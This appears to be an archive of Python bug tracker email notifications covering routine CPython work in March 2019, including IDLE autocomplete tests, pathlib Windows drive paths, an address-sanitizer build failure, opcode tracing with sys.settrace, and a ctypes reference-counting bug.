STINNER Victor <vstinner at redhat.com> added the comment:

> The fix for 3.7 works too: no more crashing.  Thanks, everyone!

I planned to test, but I had no access to macOS last years. Thanks for testing Ned. Good to hear that the bug is now fixed in 3.7 and master.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Sun Mar 24 17:12:30 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sun, 24 Mar 2019 21:12:30 +0000
Subject: [issue36405] Use dict unpacking in idlelib
In-Reply-To: <1553319789.39.0.696260004783.issue36405@roundup.psfhosted.org>
Message-ID: <1553461950.95.0.875409756811.issue36405@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:


New changeset 0fe4513d9a5510ae91c0da7eb0433f79a6d4dda9 by Terry Jan Reedy in branch 'master':
bpo-36405: IDLE - Restore __main__ and add tests (#12518)
https://github.com/python/cpython/commit/0fe4513d9a5510ae91c0da7eb0433f79a6d4dda9


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36405>
_______________________________________

From report at bugs.python.org  Sun Mar 24 17:12:42 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 24 Mar 2019 21:12:42 +0000
Subject: [issue36405] Use dict unpacking in idlelib
In-Reply-To: <1553319789.39.0.696260004783.issue36405@roundup.psfhosted.org>
Message-ID: <1553461962.27.0.323976910943.issue36405@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12477
stage: commit review -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36405>
_______________________________________

From report at bugs.python.org  Sun Mar 24 17:27:17 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 24 Mar 2019 21:27:17 +0000
Subject: [issue36347] Renaming the constants for the .flags of PyMemberDef
In-Reply-To: <1552920150.75.0.888906424388.issue36347@roundup.psfhosted.org>
Message-ID: <1553462837.47.0.374124704513.issue36347@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
pull_requests: +12478

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Sun Mar 24 17:28:51 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sun, 24 Mar 2019 21:28:51 +0000
Subject: [issue31822] Document that urllib.parse.{Defrag, Split,
 Parse}Result are namedtuples
In-Reply-To: <1508439273.05.0.213398074469.issue31822@psf.upfronthosting.co.za>
Message-ID: <1553462931.07.0.818840367591.issue31822@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:


New changeset 13c1f72cd1d91fdc2654f2f57356b2eacb75f164 by Cheryl Sabella (Lisa Roach) in branch 'master':
bpo-31822: Document that urllib.parse.{Defrag,Split,Parse}Result are namedtuples (GH-4434)
https://github.com/python/cpython/commit/13c1f72cd1d91fdc2654f2f57356b2eacb75f164


----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31822>
_______________________________________

From report at bugs.python.org  Sun Mar 24 17:32:42 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 24 Mar 2019 21:32:42 +0000
Subject: [issue36405] Use dict unpacking in idlelib
In-Reply-To: <1553319789.39.0.696260004783.issue36405@roundup.psfhosted.org>
Message-ID: <1553463162.69.0.140417846045.issue36405@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 2b580146a53311e4202b0be63040740cdc01f1f5 by Miss Islington (bot) in branch '3.7':
bpo-36405: IDLE - Restore __main__ and add tests (GH-12518)
https://github.com/python/cpython/commit/2b580146a53311e4202b0be63040740cdc01f1f5


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36405>
_______________________________________

From report at bugs.python.org  Sun Mar 24 17:33:25 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 24 Mar 2019 21:33:25 +0000
Subject: [issue36347] Renaming the constants for the .flags of PyMemberDef
In-Reply-To: <1553432589.45.0.483952016292.issue36347@roundup.psfhosted.org>
Message-ID: <860f5a30-cdcd-dbc5-3cbd-6a3889a78689@wirtel.be>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Ronald,

Please, could you check this PR and give me your advice,
For the moment, it's just re-declaration of the current constants with
the PY_ prefix and with an enumeration and the __attribute__(deprecated)

The PR is in Draft mode and I will update it with your remarks and the
feedback from the Python-dev ML

PR: https://github.com/python/cpython/pull/12527

There is a check list for me.

https://github.com/python/cpython/pull/12527#issuecomment-476002321

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Sun Mar 24 17:37:15 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 24 Mar 2019 21:37:15 +0000
Subject: [issue36347] Renaming the constants for the .flags of PyMemberDef
In-Reply-To: <1552920150.75.0.888906424388.issue36347@roundup.psfhosted.org>
Message-ID: <1553463435.46.0.406373023207.issue36347@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

@steve.dower

Can I use this https://docs.microsoft.com/en-us/cpp/cpp/deprecated-cpp?view=vs-2017 for the deprecation?

I am going to try with my PR but I would like to have your approbation if it's the right solution or not.

Thank you

----------
nosy: +steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Sun Mar 24 17:40:22 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 24 Mar 2019 21:40:22 +0000
Subject: [issue36347] Renaming the constants for the .flags of PyMemberDef
In-Reply-To: <1552920150.75.0.888906424388.issue36347@roundup.psfhosted.org>
Message-ID: <1553463622.45.0.588641937773.issue36347@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

or with this feature of MSVS https://docs.microsoft.com/en-us/cpp/preprocessor/deprecated-c-cpp?view=vs-2017

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Sun Mar 24 17:44:05 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sun, 24 Mar 2019 21:44:05 +0000
Subject: [issue36405] Use dict unpacking in idlelib
In-Reply-To: <1553319789.39.0.696260004783.issue36405@roundup.psfhosted.org>
Message-ID: <1553463845.56.0.342540301218.issue36405@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36405>
_______________________________________

From report at bugs.python.org  Sun Mar 24 17:50:54 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 24 Mar 2019 21:50:54 +0000
Subject: [issue31822] Document that urllib.parse.{Defrag, Split,
 Parse}Result are namedtuples
In-Reply-To: <1508439273.05.0.213398074469.issue31822@psf.upfronthosting.co.za>
Message-ID: <1553464254.1.0.0884343899549.issue31822@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12479

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31822>
_______________________________________

From report at bugs.python.org  Sun Mar 24 17:56:31 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 24 Mar 2019 21:56:31 +0000
Subject: [issue31822] Document that urllib.parse.{Defrag, Split,
 Parse}Result are namedtuples
In-Reply-To: <1508439273.05.0.213398074469.issue31822@psf.upfronthosting.co.za>
Message-ID: <1553464591.08.0.461859634996.issue31822@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset fc0010236341a32db7a3703f21e0bddbb36103dd by Miss Islington (bot) in branch '3.7':
bpo-31822: Document that urllib.parse.{Defrag,Split,Parse}Result are namedtuples (GH-4434)
https://github.com/python/cpython/commit/fc0010236341a32db7a3703f21e0bddbb36103dd


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31822>
_______________________________________

From report at bugs.python.org  Sun Mar 24 18:05:29 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sun, 24 Mar 2019 22:05:29 +0000
Subject: [issue36418] urllib.parse.*Result: support _replace for additional
 computed addresses
Message-ID: <1553465129.93.0.5539024748.issue36418@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In msg338645 on issue31822, Fred Drake wrote:
> Unfortunately, when the implementation [of urllib.parse.*Result] was migrated to use collections.namedtuple (a benefit), the _replace method wasn't extended  to support the additional computed addresses for these types.
>
> That would really be useful.

Opening this issue to track that request.

----------
components: Library (Lib)
messages: 338762
nosy: cheryl.sabella
priority: normal
severity: normal
status: open
title: urllib.parse.*Result: support _replace for additional computed addresses
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36418>
_______________________________________

From report at bugs.python.org  Sun Mar 24 18:07:59 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sun, 24 Mar 2019 22:07:59 +0000
Subject: [issue31822] Document that urllib.parse.{Defrag, Split,
 Parse}Result are namedtuples
In-Reply-To: <1508439273.05.0.213398074469.issue31822@psf.upfronthosting.co.za>
Message-ID: <1553465279.81.0.147588681786.issue31822@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Thanks @Allen Li for the initial report, @lisroach for the PR, and @eric.araujo for the review.

Issue 36418 has been opened to track @fdrake's request in msg338645.

----------
nosy:  -miss-islington
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.8 -Python 2.7, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31822>
_______________________________________

From report at bugs.python.org  Sun Mar 24 18:47:35 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 24 Mar 2019 22:47:35 +0000
Subject: [issue36347] Renaming the constants for the .flags of PyMemberDef
In-Reply-To: <1552920150.75.0.888906424388.issue36347@roundup.psfhosted.org>
Message-ID: <1553467655.38.0.54018938046.issue36347@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

With the help of Victor, I don't need to implement __attribute__((deprecated)), this one is already defined in pyport.h

So, I have updated my PR.

Next step, update all the references of READONLY, ..., by the new constants.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Sun Mar 24 19:10:32 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sun, 24 Mar 2019 23:10:32 +0000
Subject: [issue36405] Use dict unpacking in idlelib
In-Reply-To: <1553319789.39.0.696260004783.issue36405@roundup.psfhosted.org>
Message-ID: <1553469032.83.0.352767067661.issue36405@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

Immediate followup is #30348, add autocomplete tests.  At least one would have failed with the initial patch.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36405>
_______________________________________

From report at bugs.python.org  Sun Mar 24 19:11:25 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sun, 24 Mar 2019 23:11:25 +0000
Subject: [issue36419] IDLE autocomplete: refactor and polish code and tests
Message-ID: <1553469085.88.0.432002901822.issue36419@roundup.psfhosted.org>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

Followup to #30348.
1. Merge try_open_completions_event and _open_completions_later.  The latter is only used in the former.  Adjust tests to match.

2. The following in test_open_completions tests >>> "something<tab>
    self.text.insert('1.0', '"t')
    self.assertTrue(self.autocomplete.open_completions(False, True, True))
This passes with unittest (py -m test.test_idle) but fails with regrtest (py -m test -ugui test_idle), with "None is not true".  There are multiple 'return None's in open_completions.  Determine which with debug prints and try to pass with regrtest.  Success does not depend on the inserted text matching any file in the current working directory.

3. Increase coverage.  Multiple conditionals are only triggered 1 way.

----------
assignee: terry.reedy
components: IDLE
messages: 338766
nosy: terry.reedy
priority: normal
severity: normal
stage: test needed
status: open
title: IDLE autocomplete: refactor and polish code and tests
type: enhancement
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36419>
_______________________________________

From report at bugs.python.org  Sun Mar 24 19:14:16 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sun, 24 Mar 2019 23:14:16 +0000
Subject: [issue22327] test_gdb failures on Ubuntu 14.10
In-Reply-To: <1409690431.38.0.272932349651.issue22327@psf.upfronthosting.co.za>
Message-ID: <1553469256.17.0.939171516073.issue22327@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

I'm going to close this issue as out of date since Ubuntu 14.10 is an older release and this doesn't seem to happen on later releases.  Please reopen if it's still an issue.

----------
nosy: +cheryl.sabella
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22327>
_______________________________________

From report at bugs.python.org  Sun Mar 24 19:19:16 2019
From: report at bugs.python.org (Maor Kleinberger)
Date: Sun, 24 Mar 2019 23:19:16 +0000
Subject: [issue36305] Inconsistent behavior of pathlib.WindowsPath with drive
 paths
In-Reply-To: <1552664225.98.0.0986812073641.issue36305@roundup.psfhosted.org>
Message-ID: <1553469556.9.0.22039671862.issue36305@roundup.psfhosted.org>


Maor Kleinberger <kmaork at gmail.com> added the comment:

> Ah, I think I follow now. But I'm not sure what you mean by wanting it to "retain an initial '.' component" - how would you expect that to work in practice? p1.parts == ('.', 'c:a')? I suspect that could break existing code.

I've dealt with that in my PR by checking in the __str__ method if the path could be misinterpreted, and if so prepending a './'.


> > The CreateProcessW case is a generalization of the case that we're used to across various platforms, in which, for the sake of security, the "." entry is excluded from PATH. In this case, the only way to run an executable in the working directory is to reference it explicitly. For example (in Linux):
[...]
> > This would work if pathlib kept the initial "." component.

> Thanks, this is a really useful example, as it makes it clear that this is a general issue, not a platform-specific quirk.

In my opinion, this is a different problem, that its solution doesn't necessarily belong in pathlib. Pathlib is responsible to parse, manipulate and display paths correctly (which it fails to do with the case of Path('./a:b') -> Path('a:b')). In contrast, in the case of CreateProcessW, both Path('./exec') and Path('exec') are the *correct* paths to the executable. The ./ is not necessary in that case to display the path correctly, but just to interact correctly with CreateProcessW's interface.

> Having said all of this, I'm not at all sure how much it relates to the original description of this issue, which didn't mention initial './' components at all. Is the originally reported behaviour a *consequence* of not retaining './', or is it a separate problem? If the latter, then maybe "Pathlib should retain an initial './'" would be better raised as a separate bpo item (and PR)?

I completely agree that any change made to support retaining the initial './' for process invocation should be made in a different bpo item and PR. I do disagree though, that such change should be made, as like I wrote above, this is only needed for CreateProcessW's interface, and isn't related to pathlib's logic itself.
Maybe, a nice idea would be to open a separate PR that would add a utility for dealing with executing paths. Something like Path.popen(cmd_args, **kwargs), that will call Popen with a path prepended with a './' if needed.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36305>
_______________________________________

From report at bugs.python.org  Sun Mar 24 19:33:16 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sun, 24 Mar 2019 23:33:16 +0000
Subject: [issue30348] IDLE: Add test_autocomplete unittest
In-Reply-To: <1494575756.78.0.347326025399.issue30348@psf.upfronthosting.co.za>
Message-ID: <1553470396.16.0.725386795135.issue30348@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:


New changeset 113d735e2091427f9623097d2a222dd99b16b568 by Terry Jan Reedy (Louie Lu) in branch 'master':
bpo-30348: IDLE: Add test_autocomplete unittest (GH-2209)
https://github.com/python/cpython/commit/113d735e2091427f9623097d2a222dd99b16b568


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30348>
_______________________________________

From report at bugs.python.org  Sun Mar 24 19:33:27 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 24 Mar 2019 23:33:27 +0000
Subject: [issue30348] IDLE: Add test_autocomplete unittest
In-Reply-To: <1494575756.78.0.347326025399.issue30348@psf.upfronthosting.co.za>
Message-ID: <1553470407.76.0.506249052101.issue30348@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
keywords: +patch
pull_requests: +12480
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30348>
_______________________________________

From report at bugs.python.org  Sun Mar 24 19:53:15 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 24 Mar 2019 23:53:15 +0000
Subject: [issue30348] IDLE: Add test_autocomplete unittest
In-Reply-To: <1494575756.78.0.347326025399.issue30348@psf.upfronthosting.co.za>
Message-ID: <1553471595.64.0.218181090114.issue30348@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 0e05d8a82dedf6f020b71a780507fb45ad5fd00f by Miss Islington (bot) in branch '3.7':
bpo-30348: IDLE: Add test_autocomplete unittest (GH-2209)
https://github.com/python/cpython/commit/0e05d8a82dedf6f020b71a780507fb45ad5fd00f


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30348>
_______________________________________

From report at bugs.python.org  Sun Mar 24 19:53:34 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 24 Mar 2019 23:53:34 +0000
Subject: [issue36344] install_certificates.command too complicated
In-Reply-To: <1552911860.35.0.715970160231.issue36344@roundup.psfhosted.org>
Message-ID: <1553471614.33.0.0265382395806.issue36344@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

> I am going to reopen this one and use it to implement a solution 
> that eliminates the need to manually run Install Certificates
> at installation time.

There will be much rejoicing.  Almost every week, I have a learner bump into this issue.

----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36344>
_______________________________________

From report at bugs.python.org  Sun Mar 24 20:00:56 2019
From: report at bugs.python.org (anthony shaw)
Date: Mon, 25 Mar 2019 00:00:56 +0000
Subject: [issue36420] f_trace_opcodes setting and accessing opcodes
Message-ID: <1553472056.29.0.688225518527.issue36420@roundup.psfhosted.org>


New submission from anthony shaw <anthony.p.shaw at gmail.com>:

The f_trace_opcodes flag for sys.settrace in 3.7 are proving tricky. 

I must be missing something but it's not clear how it helps in tracing the opcode about to be executed because it runs before opcode and oparg variables are set by NEXTOPARG(), so the only way to establish the opcode is to look at the frame code and work out the next instruction in the stack.

The documentation references dis, but if you call that for a traceback or using the frame code, you only have the last instruction, not the next one?

def trace(frame, event, args):
  frame.f_trace_opcodes = True
  if event == 'opcode':
    disassemble(frame.f_code, frame.f_lasti)
  return frame

It looks like the emitting of the opcode event needs to come after NEXTOPARG(), but that means if the tracing function were to add any instructions to the stack, that would no longer work. 
Alternatively, the opcode could be calculated and added as an argument.

----------
components: Interpreter Core
messages: 338772
nosy: anthony shaw, ncoghlan
priority: normal
severity: normal
status: open
title: f_trace_opcodes setting and accessing opcodes
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36420>
_______________________________________

From report at bugs.python.org  Sun Mar 24 20:07:49 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 25 Mar 2019 00:07:49 +0000
Subject: [issue36401] Readonly properties should be marked as such in help()
In-Reply-To: <1553296662.49.0.800061565296.issue36401@roundup.psfhosted.org>
Message-ID: <1553472469.45.0.999479013655.issue36401@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:


New changeset 62be33870e2f8517314bf9c7275548e799296f7e by Raymond Hettinger in branch 'master':
bpo-36401: Have help() show readonly properties separately (GH-12517)
https://github.com/python/cpython/commit/62be33870e2f8517314bf9c7275548e799296f7e


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36401>
_______________________________________

From report at bugs.python.org  Sun Mar 24 20:37:51 2019
From: report at bugs.python.org (Ned Deily)
Date: Mon, 25 Mar 2019 00:37:51 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1553474271.69.0.716897166659.issue36356@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

For what it's worth, with current HEAD of master (commit 62be33870e2f8517314bf9c7275548e799296f7e which includes previously merged PRs from this issue), current macOS clang with address sanitizer and pydebug enabled gets an assertion failure in parsetok.c.  Current HEAD of 3.7 does not.

$ ./configure --with-address-sanitizer --prefix=/tmp/d --with-pydebu
$ make -j3
[...]
./python -E -S -m sysconfig --generate-posix-vars ;\
	if test $? -ne 0 ; then \
		echo "generate-posix-vars failed" ; \
		rm -f ./pybuilddir.txt ; \
		exit 1 ; \
	fi
 CC='gcc' LDSHARED='gcc -bundle -undefined dynamic_lookup -fsanitize=address    ' OPT='-g -O0 -Wall' 	_TCLTK_INCLUDES='' _TCLTK_LIBS='' 	./python -E ./setup.py  build
Assertion failed: ((intptr_t)(int)(a - line_start) == (a - line_start)), function parsetok, file Parser/parsetok.c, line 308.
/bin/sh: line 1: 95059 Abort trap: 6           CC='gcc' LDSHARED='gcc -bundle -undefined dynamic_lookup -fsanitize=address    ' OPT='-g -O0 -Wall' _TCLTK_INCLUDES='' _TCLTK_LIBS='' ./python -E ./setup.py $quiet build
make: *** [sharedmods] Error 134
$ gcc --version
Configured with: --prefix=/Applications/Xcode.app/Contents/Developer/usr --with-gxx-include-dir=/usr/include/c++/4.2.1
Apple LLVM version 10.0.0 (clang-1000.11.45.5)
Target: x86_64-apple-darwin18.2.0
Thread model: posix
# same result with explicit CC=clang

----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Sun Mar 24 20:51:44 2019
From: report at bugs.python.org (Windson Yang)
Date: Mon, 25 Mar 2019 00:51:44 +0000
Subject: [issue36411] Python 3 f.tell() gets out of sync with file pointer in
 binary append+read mode
In-Reply-To: <1553387625.02.0.693122073587.issue36411@roundup.psfhosted.org>
Message-ID: <1553475104.9.0.34089651603.issue36411@roundup.psfhosted.org>


Windson Yang <wiwindson at outlook.com> added the comment:

This looks interesting. Let me try to fix it.

----------
nosy: +Windson Yang
versions: +Python 3.8, Python 3.9 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36411>
_______________________________________

From report at bugs.python.org  Sun Mar 24 21:52:42 2019
From: report at bugs.python.org (Ben Harper)
Date: Mon, 25 Mar 2019 01:52:42 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1553478762.31.0.30552671157.issue36356@roundup.psfhosted.org>


Ben Harper <btharper1221 at gmail.com> added the comment:

I'm not sure about the change from 3.7 to master, but that assertion may be more likely to happen while instrumented with ASAN due to the extra space reserved between heap objects. As far as I can tell it's just expecting that the offset of two pointers will fit within an int instead of a intptr_t (4 bytes versus 8 bytes on my system).

For me running the test_pydoc from the test suite fails reliably with the parsetok.c assertion failure, but can be made to pass with a smaller ASAN redzone. The redzone must be a power of 2 and at least 16, default of 2048.

Fails:
ASAN_OPTIONS="max_redzone=256" ./python Tools/scripts/run_tests.py test_pydoc

Passes:
ASAN_OPTIONS="max_redzone=128" ./python Tools/scripts/run_tests.py test_pydoc

Values of 16, 32, and 64 also pass.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Sun Mar 24 22:09:18 2019
From: report at bugs.python.org (anthony shaw)
Date: Mon, 25 Mar 2019 02:09:18 +0000
Subject: [issue36420] f_trace_opcodes setting and accessing opcodes
In-Reply-To: <1553472056.29.0.688225518527.issue36420@roundup.psfhosted.org>
Message-ID: <1553479758.35.0.921350765214.issue36420@roundup.psfhosted.org>


anthony shaw <anthony.p.shaw at gmail.com> added the comment:

Took a while, but I worked out a solution:

import sys
import dis
import traceback
import io

def t(frame, event, args):
   frame.f_trace_opcodes=True
   stack = traceback.extract_stack(frame)
   pad = "   "*len(stack) + "|"
   if event == 'opcode':
      with io.StringIO() as out:
         dis.disco(frame.f_code, frame.f_lasti, file=out)
         lines = out.getvalue().split('\n')
         [print(f"{pad}{l}") for l in lines]
   elif event == 'call':
      print(f"{pad}Calling {frame.f_code}")
   elif event == 'return':
      print(f"{pad}Returning {args}")
   elif event == 'line':
      print(f"{pad}Changing line to {frame.f_lineno}")
   else:
      print(f"{pad}{frame} ({event} - {args})")
   print(f"{pad}----------------------------------")
   return t
sys.settrace(t)
eval('"-".join([letter for letter in "hello"])')

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36420>
_______________________________________

From report at bugs.python.org  Sun Mar 24 22:09:33 2019
From: report at bugs.python.org (anthony shaw)
Date: Mon, 25 Mar 2019 02:09:33 +0000
Subject: [issue36420] f_trace_opcodes setting and accessing opcodes
In-Reply-To: <1553472056.29.0.688225518527.issue36420@roundup.psfhosted.org>
Message-ID: <1553479773.07.0.240823824911.issue36420@roundup.psfhosted.org>


Change by anthony shaw <anthony.p.shaw at gmail.com>:


----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36420>
_______________________________________

From report at bugs.python.org  Sun Mar 24 22:47:56 2019
From: report at bugs.python.org (Manjusaka)
Date: Mon, 25 Mar 2019 02:47:56 +0000
Subject: [issue36054] Way to detect CPU count inside docker container
In-Reply-To: <1550681782.39.0.211832814896.issue36054@roundup.psfhosted.org>
Message-ID: <1553482076.06.0.985980538379.issue36054@roundup.psfhosted.org>


Manjusaka <lizheao940510 at gmail.com> added the comment:

I think that I may work on a PR for this issue. Is there anybody has worked on it ?

----------
nosy: +Manjusaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36054>
_______________________________________

From report at bugs.python.org  Sun Mar 24 23:31:24 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Mon, 25 Mar 2019 03:31:24 +0000
Subject: [issue36421] A possible double decref in _ctypes.c's
 PyCArrayType_new()
Message-ID: <1553484684.08.0.15989371051.issue36421@roundup.psfhosted.org>


New submission from Zackery Spytz <zspytz at gmail.com>:

In PyCArrayType_new(), type_attr is assigned to stgdict->proto. If the PyDict_Update() call fails in that function, type_attr will be decrefed an extra time when stgdict is deallocated.

I'll create a PR for this issue.

----------
components: Extension Modules, ctypes
messages: 338779
nosy: ZackerySpytz
priority: normal
severity: normal
status: open
title: A possible double decref in _ctypes.c's PyCArrayType_new()
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36421>
_______________________________________

From report at bugs.python.org  Sun Mar 24 23:35:07 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Mon, 25 Mar 2019 03:35:07 +0000
Subject: [issue36421] A possible double decref in _ctypes.c's
 PyCArrayType_new()
In-Reply-To: <1553484684.08.0.15989371051.issue36421@roundup.psfhosted.org>
Message-ID: <1553484907.2.0.135764727701.issue36421@roundup.psfhosted.org>


Change by Zackery Spytz <zspytz at gmail.com>:


----------
keywords: +patch
pull_requests: +12481
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36421>
_______________________________________

From report at bugs.python.org  Sun Mar 24 23:59:18 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 25 Mar 2019 03:59:18 +0000
Subject: [issue36401] Readonly properties should be marked as such in help()
In-Reply-To: <1553296662.49.0.800061565296.issue36401@roundup.psfhosted.org>
Message-ID: <1553486358.31.0.378664515161.issue36401@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36401>
_______________________________________

From report at bugs.python.org  Mon Mar 25 01:08:49 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 25 Mar 2019 05:08:49 +0000
Subject: [issue36054] Way to detect CPU count inside docker container
In-Reply-To: <1553482076.06.0.985980538379.issue36054@roundup.psfhosted.org>
Message-ID: <e0e9dea3-e80c-bf7c-c944-6ba80f606f36@wirtel.be>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Hi Manjusaka,

Could you explain your solution, because I have read the code of
openjdk, (C++) and I am going to be honnest, it was not complex but not
really clear.

Also, if you need my help for the review or for the construction of your
PR, I can help you.

Have a nice day,

St?phane

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36054>
_______________________________________

From report at bugs.python.org  Mon Mar 25 01:18:30 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 25 Mar 2019 05:18:30 +0000
Subject: [issue36401] Readonly properties should be marked as such in help()
In-Reply-To: <1553486358.37.0.5476168433.issue36401@roundup.psfhosted.org>
Message-ID: <4f46976b-5958-c339-6c7e-b59fa50bac80@wirtel.be>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Hi Raymond,

About the C API, I wanted to know that because I started to use neovim
for the development of CPython mix between C and Python is really great
with this tool. Also, I wanted to have the description of the C parts,
example, when I have PyArg_ParseTupleAndKeywords under the cursor, with
(n)vim I could use the K shortcut and see the description of this
function via the keywordprg of vim.

But we have the result from Sphinx, because the C part is described in
